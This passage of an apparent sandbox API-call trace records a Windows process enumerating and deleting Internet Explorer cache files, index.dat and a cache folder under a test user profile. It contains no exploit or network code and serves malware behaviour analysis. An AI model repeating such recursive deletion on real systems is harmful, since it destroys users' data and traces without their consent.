[0104.312] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1aa6df80, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1aa6df80, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aa6df80, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x3386, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="v2[2]", cAlternateFileName="V2_2_~1")) returned 1 [0104.312] lstrlenW (lpString="v2[2]") returned 5 [0104.312] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="v2[2]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\v2[2]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\v2[2]" [0104.312] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\v2[2]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\v2[2]")) returned 1 [0104.318] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1aa6df80, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1aa6df80, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aa6df80, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x572a, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="v2[3]", cAlternateFileName="V2_3_~1")) returned 1 [0104.318] lstrlenW (lpString="v2[3]") returned 5 [0104.318] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="v2[3]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\v2[3]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\v2[3]" [0104.318] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\v2[3]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\v2[3]")) returned 1 [0104.318] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf04d000, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf04d000, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf0992c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x24fea, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="wc-addons[1].css", cAlternateFileName="WC-ADD~1.CSS")) returned 1 [0104.318] lstrlenW (lpString="wc-addons[1].css") returned 16 [0104.318] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="wc-addons[1].css" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\wc-addons[1].css") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\wc-addons[1].css" [0104.318] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\wc-addons[1].css" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\wc-addons[1].css")) returned 1 [0104.319] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcece00c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcece00c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcece00c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1687, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="WebCore.4.19.0.ltr.light.min[1].css", cAlternateFileName="WEBCOR~1.CSS")) returned 1 [0104.319] lstrlenW (lpString="WebCore.4.19.0.ltr.light.min[1].css") returned 35 [0104.319] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D", pszFile="WebCore.4.19.0.ltr.light.min[1].css" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\WebCore.4.19.0.ltr.light.min[1].css") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\WebCore.4.19.0.ltr.light.min[1].css" [0104.319] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D\\WebCore.4.19.0.ltr.light.min[1].css" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d\\webcore.4.19.0.ltr.light.min[1].css")) returned 1 [0104.327] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcece00c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcece00c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcece00c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1687, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="WebCore.4.19.0.ltr.light.min[1].css", cAlternateFileName="WEBCOR~1.CSS")) returned 0 [0104.328] FindClose (in: hFindFile=0x71e97e0 | out: hFindFile=0x71e97e0) returned 1 [0104.328] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91a50 | out: hHeap=0x9770000) returned 1 [0104.328] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fe70 | out: hHeap=0x9770000) returned 1 [0104.328] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0104.329] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\G003HD4D" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\g003hd4d")) returned 1 [0104.329] FindNextFileW (in: hFindFile=0x71e9c00, lpFindFileData=0x9a6e500 | out: lpFindFileData=0x9a6e500*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc6a7b300, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0x9aa5a3b0, ftLastWriteTime.dwHighDateTime=0x1d2fb14, nFileSizeHigh=0x0, nFileSizeLow=0x48000, dwReserved0=0x360030, dwReserved1=0x390030, cFileName="index.dat", cAlternateFileName="")) returned 1 [0104.329] lstrlenW (lpString="index.dat") returned 9 [0104.329] PathCombineW (in: pszDest=0x9a6e220, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5", pszFile="index.dat" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\index.dat" [0104.329] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\index.dat")) returned 1 [0104.329] FindNextFileW (in: hFindFile=0x71e9c00, lpFindFileData=0x9a6e500 | out: lpFindFileData=0x9a6e500*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xba398580, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba398580, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x360030, dwReserved1=0x390030, cFileName="XEVK8ZW3", cAlternateFileName="")) returned 1 [0104.329] lstrlenW (lpString="XEVK8ZW3") returned 8 [0104.329] PathCombineW (in: pszDest=0x9a6e220, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5", pszFile="XEVK8ZW3" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3" [0104.329] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3") returned 99 [0104.329] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91840 [0104.329] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xd0) returned 0x9b6fe70 [0104.329] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91a50 [0104.329] PathCombineW (in: pszDest=0x9b6fe70, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\*.*" [0104.329] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\*.*", lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xba398580, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba398580, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName=".", cAlternateFileName="")) returned 0x71e97e0 [0104.338] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xba398580, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba398580, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="..", cAlternateFileName="")) returned 1 [0104.342] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd9774c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd9774c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd99d620, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x31ca, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="2082701[1].js", cAlternateFileName="208270~1.JS")) returned 1 [0104.342] lstrlenW (lpString="2082701[1].js") returned 13 [0104.342] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="2082701[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\2082701[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\2082701[1].js" [0104.343] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\2082701[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\2082701[1].js")) returned 1 [0104.346] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd99d620, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd99d620, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd99d620, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x31ca, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="2082701[2].js", cAlternateFileName="208270~2.JS")) returned 1 [0104.346] lstrlenW (lpString="2082701[2].js") returned 13 [0104.346] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="2082701[2].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\2082701[2].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\2082701[2].js" [0104.346] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\2082701[2].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\2082701[2].js")) returned 1 [0104.346] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1bbfc1c0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1bbfc1c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1bbfc1c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x103f, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="2532[1].js", cAlternateFileName="2532_1~1.JS")) returned 1 [0104.346] lstrlenW (lpString="2532[1].js") returned 10 [0104.346] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="2532[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\2532[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\2532[1].js" [0104.346] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\2532[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\2532[1].js")) returned 1 [0104.349] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf451520, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf451520, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf451520, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1252, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243794042[1]", cAlternateFileName="6858_K~1")) returned 1 [0104.349] lstrlenW (lpString="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243794042[1]") returned 158 [0104.349] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243794042[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243794042[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243794042[1]" [0104.349] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE12;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243794042[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\6858;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede12;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=1;target=_blank;aduho=0;grp=243794042[1]")) returned 1 [0104.353] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf477680, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf477680, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf477680, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1252, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243794042[1]", cAlternateFileName="6858_K~2")) returned 1 [0104.353] lstrlenW (lpString="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243794042[1]") returned 158 [0104.353] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243794042[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243794042[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243794042[1]" [0104.353] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243794042[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\6858;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1b;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243794042[1]")) returned 1 [0104.353] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf49d7e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf49d7e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf49d7e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243794042[1]", cAlternateFileName="6858_K~3")) returned 1 [0104.353] lstrlenW (lpString="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243794042[1]") returned 158 [0104.353] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243794042[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243794042[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243794042[1]" [0104.353] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243794042[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\6858;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1c;kvgrp=243794042;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243794042[1]")) returned 1 [0104.354] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf92b08e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xf92b08e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xf92b08e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="AA3e1oO[1].png", cAlternateFileName="AA3E1O~1.PNG")) returned 1 [0104.354] lstrlenW (lpString="AA3e1oO[1].png") returned 14 [0104.354] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="AA3e1oO[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AA3e1oO[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AA3e1oO[1].png" [0104.354] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\AA3e1oO[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\aa3e1oo[1].png")) returned 1 [0104.363] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbce6cc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbce6cc0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbce6cc0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="AA429NP[1].png", cAlternateFileName="AA429N~1.PNG")) returned 1 [0104.363] lstrlenW (lpString="AA429NP[1].png") returned 14 [0104.363] PathCombineW (in: 